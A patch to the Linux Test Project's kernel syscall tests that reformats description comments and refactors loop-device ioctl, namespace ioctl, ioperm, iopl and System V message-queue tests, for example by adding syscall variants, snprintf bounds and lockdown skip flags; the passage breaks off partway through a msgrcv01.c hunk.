diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop02.c b/testcases/kernel/syscalls/ioctl/ioctl_loop02.c
index ac61842..12d4e82 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_loop02.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_loop02.c
@@ -1,18 +1,21 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) Linux Test Project, 2022
  * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This is a basic ioctl test about loopdevice.
- *
- * It is designed to test LO_FLAGS_READ_ONLY (similar as losetup -r)
- * and LOOP_CHANGE_FD.
+ * Tests ioctl() on loopdevice with LO_FLAGS_READ_ONLY (similar as losetup -r) and
+ * LOOP_CHANGE_FD flags.
  *
  * For LOOP_CHANGE_FD, this operation is possible only if the loop device
  * is read-only and the new backing store is the same size and type as the
  * old backing store.
  *
- * If using LOOP_CONFIGURE ioctl, we can set LO_FLAGS_READ_ONLY
+ * When using LOOP_CONFIGURE ioctl(), it can set LO_FLAGS_READ_ONLY
  * flag even though backing file with write mode.
  */
 
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop03.c b/testcases/kernel/syscalls/ioctl/ioctl_loop03.c
index 9cf5a41..a7b0230 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_loop03.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_loop03.c
@@ -1,11 +1,16 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) Linux Test Project, 2022
  * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This is a basic ioctl test about loopdevice.
+ * Tests ioctl() on loopdevice with LOOP_CHANGE_FD flag.
  *
- * It is designed to test LOOP_CHANGE_FD can not succeed (get EINVAL error)
+ * Tests whether LOOP_CHANGE_FD can not succeed (get EINVAL error)
  * when loop_dev is not read only.
  */
 
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop04.c b/testcases/kernel/syscalls/ioctl/ioctl_loop04.c
index b4ab44a..5b7506e 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_loop04.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_loop04.c
@@ -1,14 +1,20 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) Linux Test Project, 2022
  * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
- *
- * This is a basic ioctl test about loopdevice.
- *
- * It is designed to test LOOP_SET_CAPACITY can update a live
- * loop device size when we change the size of the underlying
- * backing file. Also check sys value.
  */
+
+/*\
+ * [Description]
+ *
+ * Tests ioctl() on loopdevice with LOOP_SET_CAPACITY flag.
+ *
+ * Tests whether LOOP_SET_CAPACITY can update a live
+ * loop device size after change the size of the underlying
+ * backing file. Also checks sysfs value.
+ */
+
 #include <stdio.h>
 #include <unistd.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop05.c b/testcases/kernel/syscalls/ioctl/ioctl_loop05.c
index 58aa6f0..1f2975d 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_loop05.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_loop05.c
@@ -1,13 +1,18 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) Linux Test Project, 2020-2022
  * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This is a basic ioctl test about loopdevice.
+ * Tests ioctl() on loopdevice with LOOP_SET_DIRECT_IO flag.
  *
- * It is designed to test LOOP_SET_DIRECT_IO can update a live
- * loop device dio mode. It needs the backing file also supports
- * dio mode and the lo_offset is aligned with the logical block size.
+ * Tests whether LOOP_SET_DIRECT_IO can update a live loop device dio mode.
+ * It requires the backing file also supports dio mode and the lo_offset is
+ * aligned with the logical block size.
  *
  * The direct I/O error handling is a bit messy on Linux, some filesystems
  * return error when it coudln't be enabled, some silently fall back to regular
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop06.c b/testcases/kernel/syscalls/ioctl/ioctl_loop06.c
index bd0d289..6d009af 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_loop06.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_loop06.c
@@ -1,10 +1,15 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) Linux Test Project, 2022
  * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This is a basic error test about the invalid block size of loopdevice
- * by using LOOP_SET_BLOCK_SIZE or LOOP_CONFIGURE ioctl.
+ * Tests invalid block size of loopdevice by using ioctl() with
+ * LOOP_SET_BLOCK_SIZE and LOOP_CONFIGURE flags.
  */
 
 #include <stdio.h>
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop07.c b/testcases/kernel/syscalls/ioctl/ioctl_loop07.c
index efe4896..d44f362 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_loop07.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_loop07.c
@@ -1,17 +1,20 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) Linux Test Project, 2022
  * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This is a basic ioctl test about loopdevice LOOP_SET_STATUS64
- * and LOOP_GET_STATUS64.
- * Test its lo_sizelimit field. If lo_sizelimit is 0,it means max
+ * Tests ioctl() on loopdevice with LOOP_SET_STATUS64 and LOOP_GET_STATUS64 flags.
+ *
+ * Tests lo_sizelimit field. If lo_sizelimit is 0, it means max
  * available. If sizelimit is less than loop_size, loopsize will
  * be truncated.
  *
- * We also use LOOP_CONFIGURE ioctl to test lo_sizelimit field. It is
- * also a regression test for
- * commit 79e5dc59e297 ("loop: Set correct device size when using LOOP_CONFIGURE").
+ * Also uses LOOP_CONFIGURE ioctl to test lo_sizelimit field.
  */
 
 #include <stdio.h>
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns01.c b/testcases/kernel/syscalls/ioctl/ioctl_ns01.c
index 36d2b3b..95be877 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_ns01.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_ns01.c
@@ -1,9 +1,12 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
+ * Copyright (c) 2019 Federico Bonfiglio <fedebonfi95@gmail.com>
+ * Copyright (c) Linux Test Project, 2019-2022
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test ioctl_ns with NS_GET_PARENT request.
  *
  * Parent process tries to get parent of initial namespace, which should
@@ -11,8 +14,8 @@
  *
  * Child process has a new pid namespace, which should make the call fail
  * with EPERM error.
- *
  */
+
 #define _GNU_SOURCE
 
 #include <errno.h>
@@ -58,9 +61,9 @@
 		else
 			tst_res(TFAIL | TERRNO, "unexpected ioctl error");
 	} else {
-		SAFE_CLOSE(fd);
 		tst_res(TFAIL, "call to ioctl succeded");
 	}
+	SAFE_CLOSE(fd);
 }
 
 static int child(void *arg LTP_ATTRIBUTE_UNUSED)
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns02.c b/testcases/kernel/syscalls/ioctl/ioctl_ns02.c
index 33ef757..3c958c1 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_ns02.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_ns02.c
@@ -1,16 +1,19 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
+ * Copyright (c) 2019 Federico Bonfiglio <fedebonfi95@gmail.com>
+ * Copyright (c) Linux Test Project, 2019-2022
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test ioctl_ns with NS_GET_PARENT request.
  *
- * Tries to get namespace parent for UTS namespace, which
+ * Test tries to get namespace parent for UTS namespace, which
  * should make the call fail with EINVAL, being a nonhierarchical
  * namespace.
- *
  */
+
 #define _GNU_SOURCE
 
 #include <errno.h>
@@ -40,9 +43,9 @@
 		else
 			tst_res(TFAIL | TERRNO, "unexpected ioctl error");
 	} else {
-		SAFE_CLOSE(fd);
 		tst_res(TFAIL, "call to ioctl succeded");
 	}
+	SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns03.c b/testcases/kernel/syscalls/ioctl/ioctl_ns03.c
index 279032d..bdd8058 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_ns03.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_ns03.c
@@ -1,9 +1,12 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
+ * Copyright (c) 2019 Federico Bonfiglio <fedebonfi95@gmail.com>
+ * Copyright (c) Linux Test Project, 2019-2022
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test ioctl_ns with NS_GET_OWNER_UID request.
  *
  * Calls ioctl for a UTS namespace, which isn't a user namespace.
@@ -33,19 +36,17 @@
 
 	owner_fd = ioctl(fd, NS_GET_OWNER_UID, &uid);
 	if (owner_fd == -1) {
-		if (errno == ENOTTY) {
-			tst_brk(TCONF,
-			        "ioctl(NS_GET_OWNER_UID) not implemented");
-		}
+		if (errno == ENOTTY)
+			tst_brk(TCONF, "ioctl(NS_GET_OWNER_UID) not implemented");
 
 		if (errno == EINVAL)
 			tst_res(TPASS, "NS_GET_OWNER_UID fails, UTS namespace");
 		else
 			tst_res(TFAIL | TERRNO, "unexpected ioctl error");
 	} else {
-		SAFE_CLOSE(fd);
 		tst_res(TFAIL, "call to ioctl succeded");
 	}
+	SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns04.c b/testcases/kernel/syscalls/ioctl/ioctl_ns04.c
index 90035cb..8c5c9f9 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_ns04.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_ns04.c
@@ -1,15 +1,18 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
+ * Copyright (c) 2019 Federico Bonfiglio <fedebonfi95@gmail.com>
+ * Copyright (c) Linux Test Project, 2019-2022
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test ioctl_ns with NS_GET_USERNS request.
  *
  * Owning user namespace of process calling ioctl is out of scope,
  * which should make the call fail with EPERM.
- *
  */
+
 #define _GNU_SOURCE
 
 #include <errno.h>
@@ -39,9 +42,9 @@
 		else
 			tst_res(TFAIL | TERRNO, "unexpected ioctl error");
 	} else {
-		SAFE_CLOSE(fd);
 		tst_res(TFAIL, "call to ioctl succeded");
 	}
+	SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns05.c b/testcases/kernel/syscalls/ioctl/ioctl_ns05.c
index a67ddbe..ae2f9da 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_ns05.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_ns05.c
@@ -1,16 +1,19 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
+ * Copyright (c) 2019 Federico Bonfiglio <fedebonfi95@gmail.com>
+ * Copyright (c) Linux Test Project, 2019-2022
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test ioctl_ns with NS_GET_PARENT request.
  *
  * Child cloned with the CLONE_NEWPID flag is created in a new pid namespace.
  * That's checked by comparing its /proc/self/ns/pid symlink and the parent's
  * one. Also child thinks its pid is 1.
- *
  */
+
 #define _GNU_SOURCE
 
 #include <errno.h>
@@ -59,10 +62,10 @@
 	if (pid == -1)
 		tst_brk(TBROK | TERRNO, "ltp_clone failed");
 
-	char child_namespace[20];
+	char child_namespace[30];
 	int my_fd, child_fd, parent_fd;
 
-	sprintf(child_namespace, "/proc/%i/ns/pid", pid);
+	snprintf(child_namespace, sizeof(child_namespace), "/proc/%i/ns/pid", pid);
 	my_fd = SAFE_OPEN("/proc/self/ns/pid", O_RDONLY);
 	child_fd = SAFE_OPEN(child_namespace, O_RDONLY);
 	parent_fd = ioctl(child_fd, NS_GET_PARENT);
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns06.c b/testcases/kernel/syscalls/ioctl/ioctl_ns06.c
index b6ac802..393ba14 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_ns06.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_ns06.c
@@ -1,17 +1,20 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
+ * Copyright (c) 2019 Federico Bonfiglio <fedebonfi95@gmail.com>
+ * Copyright (c) Linux Test Project, 2019-2022
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test ioctl_ns with NS_GET_USERNS request.
  *
  * After the call to clone with the CLONE_NEWUSER flag,
  * child is created in a new user namespace. That's checked by
  * comparing its /proc/self/ns/user symlink and the parent's one,
  * which should be different.
- *
  */
+
 #define _GNU_SOURCE
 
 #include <errno.h>
@@ -51,14 +54,14 @@
 
 static void run(void)
 {
-	char child_namespace[20];
+	char child_namespace[30];
 
 	pid_t pid = ltp_clone(CLONE_NEWUSER | SIGCHLD, &child, 0,
 		STACK_SIZE, child_stack);
 	if (pid == -1)
 		tst_brk(TBROK | TERRNO, "ltp_clone failed");
 
-	sprintf(child_namespace, "/proc/%i/ns/user", pid);
+	snprintf(child_namespace, sizeof(child_namespace), "/proc/%i/ns/user", pid);
 	int my_fd, child_fd, parent_fd;
 
 	my_fd = SAFE_OPEN("/proc/self/ns/user", O_RDONLY);
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns07.c b/testcases/kernel/syscalls/ioctl/ioctl_ns07.c
index 06cf70a..9cfa57f 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_ns07.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_ns07.c
@@ -1,15 +1,17 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
+ * Copyright (c) 2019 Federico Bonfiglio <fedebonfi95@gmail.com>
+ * Copyright (c) Linux Test Project, 2022
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test ioctl_ns with NS_GET_* request for file descriptors
  * that aren't namespaces.
  *
  * Calling ioctl with test directory's file descriptor
  * should make the call fail with ENOTTY.
- *
  */
 
 #define _GNU_SOURCE
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_sg01.c b/testcases/kernel/syscalls/ioctl/ioctl_sg01.c
index 94b30dc..dfbba39 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_sg01.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_sg01.c
@@ -126,6 +126,7 @@
 	.test_all = run,
 	.setup = setup,
 	.cleanup = cleanup,
+	.max_runtime = 3600,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "a45b599ad808"},
 		{"CVE", "2018-1000204"},
diff --git a/testcases/kernel/syscalls/ioperm/ioperm01.c b/testcases/kernel/syscalls/ioperm/ioperm01.c
index 6c50a0b..8f2cc68 100644
--- a/testcases/kernel/syscalls/ioperm/ioperm01.c
+++ b/testcases/kernel/syscalls/ioperm/ioperm01.c
@@ -42,10 +42,6 @@
 
 static void setup(void)
 {
-	/* ioperm() is restricted under kernel lockdown. */
-	if (tst_lockdown_enabled())
-		tst_brk(TCONF, "Kernel is locked down, skip this test");
-
 	/*
 	 * The value of IO_BITMAP_BITS (include/asm-i386/processor.h) changed
 	 * from kernel 2.6.8 to permit 16-bits ioperm
@@ -70,6 +66,8 @@
 static struct tst_test test = {
 	.test_all = verify_ioperm,
 	.needs_root = 1,
+	/* ioperm() is restricted under kernel lockdown. */
+	.skip_in_lockdown = 1,
 	.setup = setup,
 	.cleanup = cleanup,
 };
diff --git a/testcases/kernel/syscalls/ioperm/ioperm02.c b/testcases/kernel/syscalls/ioperm/ioperm02.c
index 80dcb99..33c5019 100644
--- a/testcases/kernel/syscalls/ioperm/ioperm02.c
+++ b/testcases/kernel/syscalls/ioperm/ioperm02.c
@@ -45,10 +45,6 @@
 
 static void setup(void)
 {
-	/* ioperm() is restricted under kernel lockdown. */
-	if (tst_lockdown_enabled())
-		tst_brk(TCONF, "Kernel is locked down, skip this test");
-
 	/*
 	 * The value of IO_BITMAP_BITS (include/asm-i386/processor.h) changed
 	 * from kernel 2.6.8 to permit 16-bits (65536) ioperm
@@ -92,6 +88,8 @@
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_ioperm,
 	.needs_root = 1,
+	/* ioperm() is restricted under kernel lockdown. */
+	.skip_in_lockdown = 1,
 	.setup = setup,
 	.cleanup = cleanup,
 };
diff --git a/testcases/kernel/syscalls/iopl/iopl01.c b/testcases/kernel/syscalls/iopl/iopl01.c
index dcf2cc4..70e2a7f 100644
--- a/testcases/kernel/syscalls/iopl/iopl01.c
+++ b/testcases/kernel/syscalls/iopl/iopl01.c
@@ -42,13 +42,6 @@
 	}
 }
 
-static void setup(void)
-{
-	/* iopl() is restricted under kernel lockdown. */
-	if (tst_lockdown_enabled())
-		tst_brk(TCONF, "Kernel is locked down, skip this test");
-}
-
 static void cleanup(void)
 {
 	/*
@@ -61,7 +54,8 @@
 static struct tst_test test = {
 	.test_all = verify_iopl,
 	.needs_root = 1,
-	.setup = setup,
+	/* iopl() is restricted under kernel lockdown. */
+	.skip_in_lockdown = 1,
 	.cleanup = cleanup,
 };
 
diff --git a/testcases/kernel/syscalls/iopl/iopl02.c b/testcases/kernel/syscalls/iopl/iopl02.c
index a6135dd..7301442 100644
--- a/testcases/kernel/syscalls/iopl/iopl02.c
+++ b/testcases/kernel/syscalls/iopl/iopl02.c
@@ -53,10 +53,6 @@
 {
 	struct passwd *pw;
 
-	/* iopl() is restricted under kernel lockdown. */
-	if (tst_lockdown_enabled())
-		tst_brk(TCONF, "Kernel is locked down, skip this test");
-
 	pw = SAFE_GETPWNAM("nobody");
 	SAFE_SETEUID(pw->pw_uid);
 }
@@ -70,6 +66,8 @@
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_iopl,
 	.needs_root = 1,
+	/* iopl() is restricted under kernel lockdown. */
+	.skip_in_lockdown = 1,
 	.setup = setup,
 	.cleanup = cleanup,
 };
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c
index 900b222..4b62896 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c
@@ -15,6 +15,7 @@
 #include "tst_test.h"
 #include "tst_safe_sysv_ipc.h"
 #include "libnewipc.h"
+#include "lapi/syscalls.h"
 
 static int msg_id1 = -1;
 static int msg_id2 = -1;
@@ -23,6 +24,16 @@
 
 struct msqid_ds q_buf;
 
+static int libc_msgctl(int msqid, int cmd, void *buf)
+{
+	return msgctl(msqid, cmd, buf);
+}
+
+static int sys_msgctl(int msqid, int cmd, void *buf)
+{
+	return tst_syscall(__NR_msgctl, msqid, cmd, buf);
+}
+
 struct tcase {
 	int *msg_id;
 	int cmd;
@@ -45,27 +56,36 @@
 	{&msg_id3, IPC_RMID, NULL, EPERM},
 };
 
+static struct test_variants {
+	int (*msgctl)(int msqid, int cmd, void *buf);
+	char *desc;
+} variants[] = {
+	{ .msgctl = libc_msgctl, .desc = "libc msgctl()"},
+#if (__NR_msgctl != __LTP__NR_INVALID_SYSCALL)
+	{ .msgctl = sys_msgctl,  .desc = "__NR_msgctl syscall"},
+#endif
+};
+
 static void verify_msgctl(unsigned int i)
 {
-	TEST(msgctl(*(tc[i].msg_id), tc[i].cmd, tc[i].buf));
+	struct test_variants *tv = &variants[tst_variant];
 
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "msgctl() returned %li", TST_RET);
+	if (tc[i].error == EFAULT &&
+		tv->msgctl == libc_msgctl) {
+		tst_res(TCONF, "EFAULT is skipped for libc variant");
 		return;
 	}
 
-	if (TST_ERR == tc[i].error) {
-		tst_res(TPASS | TTERRNO, "msgctl(%i, %i, %p)",
-			*tc[i].msg_id, tc[i].cmd, tc[i].buf);
-		return;
-	}
-
-	tst_res(TFAIL | TTERRNO, "msgctl(%i, %i, %p) expected %s",
-		*tc[i].msg_id, tc[i].cmd, tc[i].buf, tst_strerrno(tc[i].error));
+	TST_EXP_FAIL(tv->msgctl(*(tc[i].msg_id), tc[i].cmd, tc[i].buf),
+	             tc[i].error,
+	             "msgctl(%i, %i, %p)",
+	             *(tc[i].msg_id), tc[i].cmd, tc[i].buf);
 }
 
 static void setup(void)
 {
+	struct test_variants *tv = &variants[tst_variant];
+
 	key_t msgkey1, msgkey2;
 	struct passwd *ltpuser;
 
@@ -79,6 +99,8 @@
 
 	msg_id1 = SAFE_MSGGET(msgkey1, IPC_CREAT | IPC_EXCL);
 	msg_id2 = SAFE_MSGGET(msgkey2, IPC_CREAT | IPC_EXCL | MSG_RD | MSG_WR);
+
+	tst_res(TINFO, "Testing variant: %s", tv->desc);
 }
 
 static void cleanup(void)
@@ -100,6 +122,7 @@
 	.cleanup = cleanup,
 	.test = verify_msgctl,
 	.tcnt = ARRAY_SIZE(tc),
+	.test_variants = ARRAY_SIZE(variants),
 	.needs_tmpdir = 1,
 	.needs_root = 1,
 };
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget01.c b/testcases/kernel/syscalls/ipc/msgget/msgget01.c
index 5b7c6e3..2ab34ff 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget01.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget01.c
@@ -3,9 +3,10 @@
  * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*
- * DESCRIPTION
- * create a message queue, write a message to it and
+/*\
+ * [Description]
+ *
+ * Create a message queue, write a message to it and
  * read it back.
  */
 
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget02.c b/testcases/kernel/syscalls/ipc/msgget/msgget02.c
index a8fac93..ce59a8f 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget02.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget02.c
@@ -3,8 +3,11 @@
  * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*
- * DESCRIPTION
+/*\
+ * [Description]
+ *
+ * Test for EEXIST, ENOENT, EACCES errors.
+ *
  * 1) msgget(2) fails if a message queue exists for key and msgflg
  *    specified both IPC_CREAT and IPC_EXCL.
  * 2) msgget(2) fails if no message queue exists for key and msgflg
@@ -46,19 +49,8 @@
 
 static void verify_msgget(struct tcase *tc)
 {
-	TEST(msgget(*tc->key, tc->flags));
-
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "msgget() succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR == tc->exp_err) {
-		tst_res(TPASS | TTERRNO, "msgget() failed as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO, "msgget() failed unexpectedly,"
-			" expected %s", tst_strerrno(tc->exp_err));
-	}
+	TST_EXP_FAIL2(msgget(*tc->key, tc->flags), tc->exp_err, "msgget(%i, %i)",
+		*tc->key, tc->flags);
 }
 
 static void do_test(unsigned int n)
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget03.c b/testcases/kernel/syscalls/ipc/msgget/msgget03.c
index 8fa6208..711886e 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget03.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget03.c
@@ -3,11 +3,12 @@
  * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*
- * DESCRIPTION
- * test for an ENOSPC error by using up all available
- * message queues.
+/*\
+ * [Description]
  *
+ * Test for ENOSPC error.
+ *
+ * ENOSPC -  All possible message queues have been taken (MSGMNI)
  */
 
 #include <errno.h>
@@ -20,22 +21,14 @@
 #include "tst_safe_sysv_ipc.h"
 #include "libnewipc.h"
 
-static int maxmsgs;
+static int maxmsgs, queue_cnt, used_cnt;
 static int *queues;
 static key_t msgkey;
 
 static void verify_msgget(void)
 {
-	TEST(msgget(msgkey + maxmsgs, IPC_CREAT | IPC_EXCL));
-	if (TST_RET != -1)
-		tst_res(TFAIL, "msgget() succeeded unexpectedly");
-
-	if (TST_ERR == ENOSPC) {
-		tst_res(TPASS | TTERRNO, "msgget() failed as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO, "msgget() failed unexpectedly,"
-			" expected ENOSPC");
-	}
+	TST_EXP_FAIL2(msgget(msgkey + maxmsgs, IPC_CREAT | IPC_EXCL), ENOSPC,
+		"msgget(%i, %i)", msgkey + maxmsgs, IPC_CREAT | IPC_EXCL);
 }
 
 static void setup(void)
@@ -44,16 +37,19 @@
 
 	msgkey = GETIPCKEY();
 
+	used_cnt = GET_USED_QUEUES();
+	tst_res(TINFO, "Current environment %d message queues are already in use",
+		used_cnt);
+
 	SAFE_FILE_SCANF("/proc/sys/kernel/msgmni", "%i", &maxmsgs);
 
-	queues = SAFE_MALLOC(maxmsgs * sizeof(int));
+	queues = SAFE_MALLOC((maxmsgs - used_cnt) * sizeof(int));
 
-	for (num = 0; num < maxmsgs; num++) {
-		queues[num] = -1;
-
+	for (num = 0; num < maxmsgs - used_cnt; num++) {
 		res = msgget(msgkey + num, IPC_CREAT | IPC_EXCL);
-		if (res != -1)
-			queues[num] = res;
+		if (res == -1)
+			tst_brk(TBROK | TERRNO, "msgget failed unexpectedly");
+		queues[queue_cnt++] = res;
 	}
 
 	tst_res(TINFO, "The maximum number of message queues (%d) reached",
@@ -67,10 +63,8 @@
 	if (!queues)
 		return;
 
-	for (num = 0; num < maxmsgs; num++) {
-		if (queues[num] != -1)
-			SAFE_MSGCTL(queues[num], IPC_RMID, NULL);
-	}
+	for (num = 0; num < queue_cnt; num++)
+		SAFE_MSGCTL(queues[num], IPC_RMID, NULL);
 
 	free(queues);
 }
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget04.c b/testcases/kernel/syscalls/ipc/msgget/msgget04.c
index 72cd449..a01ecea 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget04.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget04.c
@@ -1,14 +1,18 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
- * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * It is a basic test about msg_next_id.
- * msg_next_id specifies desired id for next allocated IPC message. By default
- * they are equal to -1, which means generic allocation logic. Possible values
- * to set are in range {0..INT_MAX}.
- * Toggle with non-default value will be set back to -1 by kernel after
- * successful IPC object allocation.
+ * It is a basic test for msg_next_id.
+ * msg_next_id specifies desired id for next allocated IPC message. By
+ * default it's equal to -1, which means generic allocation logic.
+ * Possible values to set are in range {0..INT_MAX}.
+ * The value will be set back to -1 by kernel after successful IPC object
+ * allocation.
  */
 
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget05.c b/testcases/kernel/syscalls/ipc/msgget/msgget05.c
index d6177bb..817c848 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget05.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget05.c
@@ -1,12 +1,16 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
- * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * It is a basic test about msg_next_id.
- * When the message queue identifier that msg_next_id stored has existed,
+ * It is a basic test for msg_next_id.
+ * When the message queue identifier that msg_next_id stored is already in use,
  * call msgget with different key just use another unused value in range
- * [0,INT_MAX]. kernel doesn't guarantee the desired id.
+ * [0,INT_MAX]. Kernel doesn't guarantee the desired id.
  */
 
 #include <errno.h>
@@ -45,8 +49,6 @@
 	pid = getpid();
 	SAFE_FILE_PRINTF(NEXT_ID_PATH, "%d", pid);
 	queue_id[0] = SAFE_MSGGET(msgkey[0], IPC_CREAT | MSG_RW);
-	tst_res(TINFO, "Test msg_next_id effects on msgget(different key) "
-		"when this message queue identifier has existed");
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c
index afe552c..9df20a6 100644
--- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c
+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c
@@ -9,6 +9,7 @@
 #include <sys/wait.h>
 #include "tst_test.h"
 #include "tst_safe_sysv_ipc.h"
+#include "tst_clocks.h"
 #include "libnewipc.h"
 
 static key_t msgkey;
@@ -25,13 +26,13 @@
 
